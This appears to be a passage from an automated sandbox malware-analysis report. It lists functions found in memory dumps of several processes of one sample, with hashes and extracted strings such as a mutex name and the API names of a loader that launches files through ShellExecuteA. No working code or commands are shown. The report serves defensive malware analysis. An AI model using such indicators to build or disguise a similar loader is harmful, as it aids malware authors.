                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: cd13065e9ce2e5fa43b31721dedbb1a4c8c4c982648dd1bc7dd028e2646bf61b
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: 1D613D7124028CABEF11DFA0CD49FEB3768EF04701F540515EA09BE1E0D6B5AA448BAA
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 007B06D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000025.00000002.529627442.00000000007B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_37_2_7b0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: 847dfabdfd689b8e55e088963c44fbb473e79294c2e1414b25396d92e7f39f9c
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 48B15C75A002898FEF10CF14CD84BEA77A5FF54314F584915DC0DAF2A1DB79AA90CB8A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 007B0260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000025.00000002.529627442.00000000007B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_37_2_7b0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: 17ad4584c6cd30be90716f5a089560645316385d576b2470ebdd0ce08f0271e9
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: 5E11ED71244289ABEF10DEA08D4DFEE37A8EF84B01F440415FA09EE0E0DAB59644876B
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 00B90005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000026.00000002.529629859.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B90000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_38_2_b90000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: 77cc0f60576c2e6c5812cbecdea2480497845a2cb5efb62a17391be4bc48802c
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: 81614171250288AFEF11EF60CD89FEA37A8EF04B01F540565FE09BE1F0D6B19644875A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00B906D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000026.00000002.529629859.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B90000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_38_2_b90000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: 52e35bd1212cc15488b95edc2fc632a2894e35929fdbf85766234f5b10d2edec
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 8DB16A75A102898FEF10DF58CD84BA937E5FF54310F484965DC0DAF2A2D775AA80CB8A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00B90260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000026.00000002.529629859.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B90000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_38_2_b90000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: 3db7fc8d1088cddfecd1b3c6a5ca8d86328be7af8f5efd20d945b8cb4ca95782
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: 8111D271254249AFEF10EFA08D4DFEA3799EF44B01F540465BA09EE0D0DAB19640876A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 00970005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000027.00000002.531348065.0000000000970000.00000040.00000001.00020000.00000000.sdmp, Offset: 00970000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_39_2_970000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: 6bce7809cde62d9cc83ca78b9aee000d73744d344a8b8c39b6bf5b87b16cabce
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: 18616F72244288EBEF11DFA0CD49FEA3768EB84701F544515EA0DBE1E1D6B15A44CB1E
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 009706D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000027.00000002.531348065.0000000000970000.00000040.00000001.00020000.00000000.sdmp, Offset: 00970000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_39_2_970000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: 46315837bb21f2d6719cec274738dfe0ea7f9f2131e67cc5c95476ec7a2b9be7
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 3EB12976A00289CFEF14CF14CD84BE937A9BF94304F588915DD0DAF2A1D775AA84CB4A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00970260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000027.00000002.531348065.0000000000970000.00000040.00000001.00020000.00000000.sdmp, Offset: 00970000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_39_2_970000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: efb82d74436a7409b1b70d4c67db35be8c9d4a4c64108e9d52ed68f906573ae4
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: 5C11D272244249ABEF11DEA08D4DFDA375CAF84B01F444415BA0DEE0D0DAB19640876A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 00370005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000028.00000002.529629068.0000000000370000.00000040.00000001.00020000.00000000.sdmp, Offset: 00370000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_40_2_370000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: ce19a7964f161477bff293c7741c780e7981c2a668023349070ce3f47f5a250c
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: 37615F71240288EBEF26DFA0CD49FEA3768EB04701F544515EA0DBE1E1D6B55A448B1E
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 003706D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000028.00000002.529629068.0000000000370000.00000040.00000001.00020000.00000000.sdmp, Offset: 00370000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_40_2_370000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: 74a8c00f670be6c3dbf0d14d228c4f4c08080db7fdbea24e276152ecc4c2cf83
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 59B15C75A00289CFEF29CF14CD84BA937A9BF54304F498915DD0DBF261D779AA80CB4A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00370260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000028.00000002.529629068.0000000000370000.00000040.00000001.00020000.00000000.sdmp, Offset: 00370000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_40_2_370000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: cda32e4df5b465bbee4caa80240a45c0703149a88f2c5a1a698f52184cf4851c
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: 5F11E571244249ABEF15DEE08D4DFDE3758EF44B01F444815FA0DEE0D0DAB59640876B
                                              Uniqueness

                                              Uniqueness Score: -1.00%